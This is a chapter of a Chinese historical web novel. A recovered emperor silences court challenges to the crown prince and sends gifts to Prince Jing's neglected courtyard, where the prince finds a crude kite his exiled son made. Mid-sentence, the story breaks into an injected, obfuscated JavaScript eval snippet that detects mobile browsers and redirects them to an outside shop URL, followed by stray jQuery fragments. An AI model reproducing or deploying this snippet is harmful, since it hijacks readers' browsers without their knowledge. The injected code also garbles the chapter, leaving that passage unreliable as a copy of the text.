紫宸殿的宫门，在沉闭了整整二十七日后，于一个鸟语蝉鸣的清晨，轰然洞开。


    阶前侍卫的甲胄在初升的日光下闪着崭新的寒芒，宫人垂手肃立，呼吸都放得极轻。空气里那股弥漫了二十几日的、挥之不去的浓重药气，似乎在一夜之间被某种无形之力涤荡殆尽，取而代之的是一种熟悉的、属于至高权力的、冰冷而干燥的威严。


    寅时三刻，更漏声歇。


    梁帝的身影出现在殿门内侧。


    他并未穿戴那套最为隆重的十二章纹冕服，只着一身玄底织金云龙纹常服，头戴乌纱翼善冠。身形似乎比病前清减了些许，腰间的玉带扣在了最内一格。脸色依旧带着久病初愈的苍白，但眉宇间那份深沉的倦怠与脆弱已一扫而空，唯有一双眼睛，锐利如淬火的寒铁，平静地扫过阶下肃立的文武百官。


    那目光所及之处，无人敢直视，皆深深垂首。


    裕王站在宗亲班列前端，手心沁出薄汗。他悄悄抬眼，试图从父皇的脸上捕捉一丝病容的残余，或是对朝局变动的任何微妙情绪。但他看到的只有一片深不见底的平静，以及那平静之下，令人心头发紧的、山雨欲来的威压。


    太子刘成站在御阶下首，背脊挺直如松。他今日也穿着储君常服，面色沉静，唯有在梁帝目光掠过他时，眼睫几不可察地颤动了一下。皇觉寺风波虽暂告段落，但父皇病愈临朝，一切才将真正开始清算。他袖中的手，悄然握紧。


    梁帝缓步踏上御阶，步履稳而沉，没有丝毫病后虚浮的迹象。他在那象征无上权威的九龙御座上坐下，动作从容。怀恩躬身将一盏温度刚好的参茶置于御案一角，随即垂手退至阴影中。


    “众卿平身。” 梁帝开口，声音不高，却清晰地传遍大殿每一个角落，带着久违的、属于帝王的金玉质感。


    百官起身，屏息凝神。


    没有冗长的开场，没有对病情的追述，梁帝直接切入正题，语气平淡得像在讨论今日的天气：


    “朕卧病期间，太子监国，诸位臣工辅政，朝局大体平稳，辛苦了。”


    一句话，将过去的风波轻轻带过，定下了“大体平稳”的基调。这既是肯定，也是一种无形的警告：过往之事，朕不欲深究，但亦不容再生波澜。


    “然，”他话锋一转，目光扫过下方，“朕亦听闻，朝野间有些议论，关乎国本，关乎礼法，沸沸扬扬。”


    殿内空气骤然一紧。


    裕王心头猛跳，几乎要以为父皇要当场发难。荣亲王等人更是脊背发凉。


    然而，梁帝并未点名，只是继续用那种平稳的语调说道：“储君之位，关乎社稷千秋。立嫡立长，礼法所定；但德才兼备，方是固国之本。太子近年来之勤勉，监国时之举措，朕与诸位有目共睹。些许无稽之谈，源于何处，朕心中有数。”


    他顿了顿，端起参茶，浅啜一口，放下茶盏时，发出清脆的“嗒”一声，在寂静中格外清晰。


    “自今日起，”梁帝的声音陡然转冷，带着不容置疑的决断，“凡有再议储君出身、妄测宫闱、动摇国本者——无论宗亲朝臣，无论官职高低，一经查实，以‘离间天家、惑乱朝纲’论处。轻则削爵罢官，流放边陲；重则……夷其三族，以儆效尤。”


    裕王脸色煞白，几乎站立不稳。他身后的党羽更是面如死灰。梁帝这是用最直接、最残酷的方式，彻底封死了他们攻击太子的这条通路。那两份“婚书”与“立后诏”的公开展示是釜底抽薪，而这道口谕，则是悬在所有人心头的诛族利刃！


    太子心中巨震，一股复杂的暖流与更深的寒意交织涌上。暖的是父皇如此明确的维护与定调；寒的是这维护背后，是父皇对他更深的审视与更高的要求，也是将“德才”二字，彻底焊死在他身上的枷锁。他必须做得更好，无可指摘，才能不辜负这份“有目共睹”。


    “臣等谨遵圣谕！万岁！万岁！万万岁！” 百官齐声山呼，声音中带着劫后余生般的敬畏与顺从。


    梁帝微微颔首，似乎对这番表态还算满意。他不再纠缠此事，转而开始垂询几件积压的紧要政务：江淮水患后的赈济与堤防重修进展，边军的冬季补给，离国萧骋的新动向……


    他问得极细，对数字、节点、关键人物了如指掌，显然即便在病中，也从未放松对朝局的掌控。几位相关大臣出列回禀，战战兢兢，不敢有丝毫疏漏。梁帝时而打断追问，时而沉吟决策，思路清晰，决断果决，完全不见病弱之态。


    裕王站在班列中，听着那些与自己派系相关的官员被父皇问得汗流浃背，心中既恨且惧。他知道，父皇这是在不动声色地剪除他的羽翼，整顿被他搅乱的朝局。而自己，连开口辩驳的机会都没有——父皇根本未就具体事务向他发问。


    一个时辰的朝会，在梁帝高效而冷峻的主持下很快过去。


    “若无他事，便退朝吧。” 梁帝最后道。


    “退朝——！”怀恩的声音响彻大殿。


    百官依次退出，许多人背后已被冷汗浸湿。今日的朝会，虽无疾风暴雨，却比任何一次廷议更让人胆寒。陛下病愈归来，威严更胜往昔，手段也更显深沉莫测。裕王一党经此敲打，元气大伤；太子地位虽得巩固，却也被套上了更沉重的“德才”枷锁。


    而宇文戎依照“侍疾期满，闭门思过”的旨意，此刻在德泽殿西殿内，对着《礼经》与笔墨，开始他不知尽头的“静思己过”。那道紧闭的殿门，隔绝了外界所有的风雨与视线，也昭示着他被监管被督查的处境。


    正午，紫宸殿。


    梁帝斜倚在凉榻上，面色尚有几分病后的苍白，目光却清亮锐利，落在那卷系着明黄丝绦的《孝经》与那枚流光隐隐的琉璃珠上。


    “周顺。”他开口，声音不高，却让垂手侍立的老太监脊背更弯了几分。


    “奴婢在。”


    “这两样东西，你亲自送往北境靖王府。”梁帝的指尖在光滑的紫檀案面上轻叩，“这经卷，是戎儿侍疾时，每日在朕榻前诵读的。朕于‘资于事父以事君’等处，批了朱笔。这琉璃珠，乃皇觉寺寺佛前供奉多年之物，戎儿为朕祈福时，它光华流转，似有感应。”


    他顿了顿，目光掠过周太监低垂的头顶，语气温和却字字如刻：


    “戎儿待朕，至纯至孝，殷勤周至，眷眷之心，胜似亲生。你将此二物交予靖王，告诉他，此非寻常赏赐，乃戎儿一片赤诚孝心所凝，非凡俗之礼可比。”


    周太监屏息聆听，心头已然雪亮。


    梁帝的声音继续传来，带着一种不容置疑的抚慰意味：“你告诉靖王，戎儿在朕身边，一切甚好。饮食起居，皆按皇子例，朕自会悉心照拂，视若己出。”他略略加重了最后四字，随即语气一转，沉静而威严：


    “靖王镇守北境，责任重大，于朝廷乃擎天之柱，于朕乃股肱之倚。当以国事为重，安心守边，勿须牵挂。朕盼他心无旁骛，尽忠王事。”


    “至于此二物，”梁帝的目光落回经卷与珠子上，“落叶轩乃戎儿旧居，是其性情所养、孝心所发之处。便供奉于轩中吧。一则可昭示其孝道纯良，光耀门楣；二则，靖王若偶至轩中，睹物思人，亦可知公子在京康泰，孝名得彰，便可全然安心。”


    “奴婢明白。”周太监深深俯首，将每一个字刻入心中，“定将陛下圣意及对戎公子之褒奖，妥帖传达。”


    十余日后，靖王府。


    周太监的官袍被北境的燥热熏出一层薄汗，但他姿态依旧恭谨得体，当着靖王的面，将梁帝的话，连同那两样被赋予特殊意义的物件，一并呈上。


    “陛下说，戎公子纯孝，胜似亲生……公子在陛下身边，一切甚好，陛下视若己出，请王爷安心守边，勿须牵挂……此二物乃公子孝心精诚所凝，陛下特谕，供奉于公子旧居落叶轩，以彰孝道本源……”


    靖王沉默地听着，脸上如同戴着一张冷硬的面具，唯有在听到“胜似亲生”、“勿须牵挂”时，眼底深处似乎有极细微的冰层裂响。他没有任何表示，只对身旁的张效略一颔首。


    通往落叶轩的路，寂静而漫长。周太监随着引路的张效，越走越偏，心中不由暗忖。午后的阳光白晃晃地炙烤着，庭院深深，却透着一种与王府其他处截然不同的、刻意维持的疏离与荒芜气息。终于，一扇漆色斑驳的月洞门出现在眼前，门上悬着的匾额，“落叶轩”三字已显黯淡。


    周太监早闻此乃戎公子十岁初回王府时，自己为这偏远院落取的名字，取“落叶归根”之意。一个失去母亲护佑、被迫离京的孩子，为自己被安置的角落如此命名，其中卑微的期盼与试探，听来便令人心头发涩。如今亲眼得见，更觉这名字与眼前的实际景象，构成了一种无声而尖锐的讽刺——这里不像“归根”之所，倒更像一处被遗忘、甚至被囚禁的角落。


    院门推开。


    一股混合着干涸泥土、腐烂植物和木质霉变的气味，随着热浪扑面而来。周太监下意识地用袖角掩了掩鼻。眼前景象，确如陛下所料——甚至更为不堪。


    庭院中，去年秋天的落叶与今夏新落的残叶，厚厚地堆积在墙角、石阶、以及那株老梧桐树下，无人清扫，在暑气中呈现出一种萎靡的枯黄。杂草从石缝里蔓生出来，东一簇西一簇，更添凌乱。正房的门窗紧闭，窗纸焦黄起皱，破损处像空洞的眼睛。


    张效上前，用力推开了有些滞涩的房门。


    “吱呀——”


    更浓的陈腐气息涌出。屋内昏暗，只有几缕光线从破窗纸洞艰难挤入，照亮空气中飞舞的、细密的尘埃。


    然而，屋内的景象却让周太监微微一怔。


    与庭院的荒芜杂乱不同，屋里异样的整齐。一张简朴的木床，被褥叠成见棱见角的方块，仿佛昨日才经军营里最苛刻的教官检阅过。一张书案，笔墨、砚台、镇尺、一叠旧纸，依次排列，分毫不差，如同等待主人归来的静物画。一个旧衣柜，门扇紧闭。


    一切都有一种刻入骨髓的规整感，只是这规整被一层均匀的的灰尘严密地覆盖了。那灰尘落在被褥笔直的折痕上，落在砚台冰凉的凹槽里，落在叠放整齐的纸页边缘，仿佛时光在这里凝固、沉降，已有一年之久。这整齐，并非温馨家居的痕迹，更像是一种长期严苛约束下形成的、近乎本能的自我秩序，是在“囚笼”中试图维持尊严与控制的最后努力。


    周太监心中一定，这正是陛下想要的——一种被精心维护过，却又被漫长时光彻底遗弃的冰冷秩序。他示意身后的小太监，将那只沉甸甸的紫檀木函，小心翼翼地、端端正正地，放置在那张积满灰尘的书案正中央。


    乌亮华丽的木函，瞬间成了这灰败天地里最突兀的存在，压得下方的尘埃微微腾起，在光柱中无声翻滚。


    周太监的目光，不经意间扫过墙壁，墙上，挂着一张弓，弓旁边挂着一只纸鸢。


    与这屋子刻板的整齐截然不同，那纸鸢显得很是拙劣。竹篾骨架似乎不太均匀，有一处甚至微显扭曲。蒙面的宣纸已经泛黄，边缘起了毛糙的卷边。纸上画着东西，用的像是廉价颜料，画技也十分勉强——右侧是几株垂柳，柳条绵软，但线条断续，绿色的渲染斑斑驳驳，深浅不一；左侧偏下，有一只墨线勾勒的燕子，姿态并非高飞，而是斜斜向下，翅膀线条带着生硬的顿挫，仿佛急切地要俯冲归巢。


    周太监心下掠过一丝不以为然的哂笑：到底是孩子心性，离府前还惦记着这等顽物。他见靖王自进入这院子后，便异常沉默，此刻目光沉凝地落在屋内，尤其是那纸鸢上停留了片刻，脸色在昏暗中看不真切，只觉周遭空气愈发滞重，仿佛连飞舞的尘埃都变得沉重起来。


    差事已毕，周太监无意久留这令人不适的晦气之地，便躬身向那尊沉默的山岳行礼：“王爷，陛下赏赐已妥置。奴婢还需回京复命，不便久扰。”


    靖王几不可察地点了下头。


    周太监如蒙大赦，带着宫人悄然退去。杂沓的脚步声很快消失在院外，更深的、带着尘土味的死寂，如同潮水般涌回，将靖王彻底淹没。


    他独自站在屋子中央。


    目光，最终被钉在了那只纸鸢上。


    这东西，以前没有。


    他清晰地记得，戎儿离府前，这墙上除了那张弓，空空如也。那么，这纸鸢只能是那孩子……在离开前某刻，自己挂上去的。


    他不由自主地向前走了两步，靴底在积尘的地面留下清晰的印痕。


    更近了，纸鸢的细节愈发刺眼。


    骨架的绑扎处


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137295|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，丝线缠绕得有些凌乱，有几处打了笨拙的死结，显是操作不便。画面的拙劣更无可掩饰——柳枝的线条带着难以控制的细微颤抖，绿色的颜料在几处莫名地淤积成团，又在另一些地方淡得近乎苍白。燕子的轮廓，则有反复描画、试图修正却失败的叠影，喙部和翅尖的墨色，深一块浅一块。


    是右手。


    靖王的呼吸，在燥热的空气中几不可察地一滞。他似乎能看见，那个背脊单薄的少年，在某个无人知晓的夜晚或清晨，用那只受伤的、连平稳执笔都困难的右手，如何固执地削刮竹篾，如何笨拙地与丝线搏斗，如何颤抖着调开廉价的颜料，如何在灯下或晨光里，忍着腕骨的刺痛，一笔一笔，画出这不成样的柳树，和这只姿态别扭的归燕。


    为何是柳？为何是燕？


    柳树……江南多柳。


    燕子……秋去春归，总恋旧巢。


    记忆的闸门，被这粗糙而执拗的画面，猛地撞开——


    也是盛夏，金陵西郊，天高云阔，风是暖的。


    他亲手扎了更大更结实的风筝骨架，云馨笑着接过，用灵巧的笔，蘸着明丽的色彩，在上面勾勒出随风摇曳的依依垂柳，和成双成对、翩跹穿行的飞燕。风筝放得极高，线轴在他掌中稳稳持着，戎儿在柔软的草地上仰着小脸，眼睛亮得像坠了星子，拍着手，跳着，笑声清脆，能溅碎阳光。


    “父王父王！风筝飞得好高！它会不会飞到江南去？”


    “也许会。”


    “父王，你答应过的，等天下安定了，我们就去江南，住在有很多柳树和燕子的地方。到时候，父王不再四处平乱，母妃也不再忙朝政，天天陪着戎儿，对吗？”


    他记得自己揉了揉孩子细软的头发，掌心是温热的：“对。”


    “父王不许骗戎儿！拉钩！”


    “好，拉钩。父王一定带你去。”


    他还记得自己转过头，看着云馨被风拂动的鬓发，轻声说：“我记得你很喜欢江南。”


    长公主的目光追随着高飞的风筝，悠远而温柔，唇角噙着笑：“是呀，那里杂花生树，群莺乱飞……是母后一直怀念的故乡。”


    “那就带上母后，”他当时握住了长公主的手，声音沉稳而笃定，“我们四人一起去。”


    杂花生树，群莺乱飞。


    那是云馨向往的、色彩斑斓的江南春景。


    而眼前这只纸鸢上，只有疏落歪斜的柳，和一只形单影只、挣扎着俯冲的归燕。


    没有缤纷的花，没有成群的莺。


    只有一片褪了色的、颤抖的、孤零零的渴望。


    它被挂在离开前最后的位置，挂在这间他亲自命名、渴望“归根”、却实际囚禁了他整整七年的屋子里。用一种笨拙到令人心酸的方式，复刻着记忆里最明亮温暖的画面，却只剩下最核心、也最残缺的轮廓。像是在用尽最后的力气，留下无声的证言：看，父王，我还记得。记得柳树，记得燕子，记得江南，记得我们四个人……我记得你说过要带我回家。我也曾把这里，叫做“归根”的地方。


    靖王猛地背转过身，胸膛里像被重锤狠狠捣入，闷痛猝然炸开，撞得他喉头腥甜，几乎无法呼吸。他不敢再看那纸鸢一眼，仓皇的目光落在书案上——那里，紫檀木函在厚重的尘埃中，闪着幽冷而刺目的光。里面，盛放着另一个父亲对他儿子“孝心”的褒奖、定义与收藏，如今被供奉于这个充满失败与伤痛记忆的“归根”之地。


    一方，是精致木函盛放的、指向君王、被隆重表彰的“孝”。


    一方，是粗糙纸鸢承载的、指向故家、在尘埃中静默的“归”。


    皇权慷慨赐予并要求供奉于此的，正是这个家庭已然破碎、他作为父亲彻底失职的冰冷证据。而那个孩子，在失去一切、被迫奔赴未知囚笼的前夜，留给这冰冷庭院与他这个父亲的最后纪念，不是怨恨，不是控诉，竟只是一只歪斜的、画着归燕垂柳的、想回家的风筝——挂在这个名为“归根”的家中。


    暑热蒸腾，尘土味窒息。靖王在满室死寂与尘埃中站成了一尊雕像，久到光影从西窗彻底消失，屋子陷入昏暗，他才用沙哑得仿佛被砂石磨砺过的声音，朝门外唤道：


    “张效。”


    “属下在。”张效的身影立刻出现在门口，他似乎一直未曾远离。


    “找两个细致稳妥、口风紧的人，”靖王的声音很轻，却字字沉重，“把这院子，里外……慢慢打扫干净。一切旧物，必须原样摆回，不得有丝毫错位挪动。”


    “是。”


    “……墙上那纸鸢，”他顿了顿，喉结剧烈地滚动了一下，每一个字都吐得极其艰难，“上面的灰尘……小心掸净。莫要碰坏了竹骨，莫要损了画面。”


    “属下明白。”


    他最终没有带走纸鸢，也没有去触碰那冰凉华丽的木函。只是转身，踏出落叶轩，走入北境夏日依然灼人的夕阳余晖里。身后，是即将被小心拂去的经年尘埃，是重现整洁却依然空荡的房间，是墙上那只被温柔以待的、褪色的归燕，和案头那枚折射着最后天光的、冰冷的琉璃珠。


    千里之外，紫宸殿。


    周太监已伏地回禀完毕：“……落叶轩确实荒芜残破，积尘甚厚，显是久无人迹。戎公子旧物寥寥，摆放虽齐整，然尘封已久。屋内除弓箭外，只悬一孩童旧鸢，颇为简陋。靖王听闻陛下口谕及赏赐之意后，并无多言，只依命将御赐之物奉于轩中书案。”


    梁帝静静听完，手中朱笔在奏章上划过一道流畅而沉稳的弧线，嘴角泛起一丝极淡的、满意的弧度。


    “尘埃覆旧物，孝心耀天听。”他轻声自语，仿佛看到了那卷朱批的《孝经》与那枚受“孝心感召”的琉璃珠，如何在北境那座象征无根渴望的荒芜庭院中，在那些褪色的童年梦想之上，折射出独一无二的、属于皇权的、温柔而不可抗拒的光芒，彻底覆盖并重新定义了那里的一切记忆与期盼。


    殿内冰鉴无声散着寒香，将他的低语吸收得一干二净。一场无声的惊雷，已在千里之外的落叶轩中炸响，余波不仅荡漾在父子相隔的血脉与时光里，更彻底撼动了那个院落名字下所掩埋的所有卑微期盼与残酷现实。唯有尘埃，见证着这被权力精心覆盖的一切。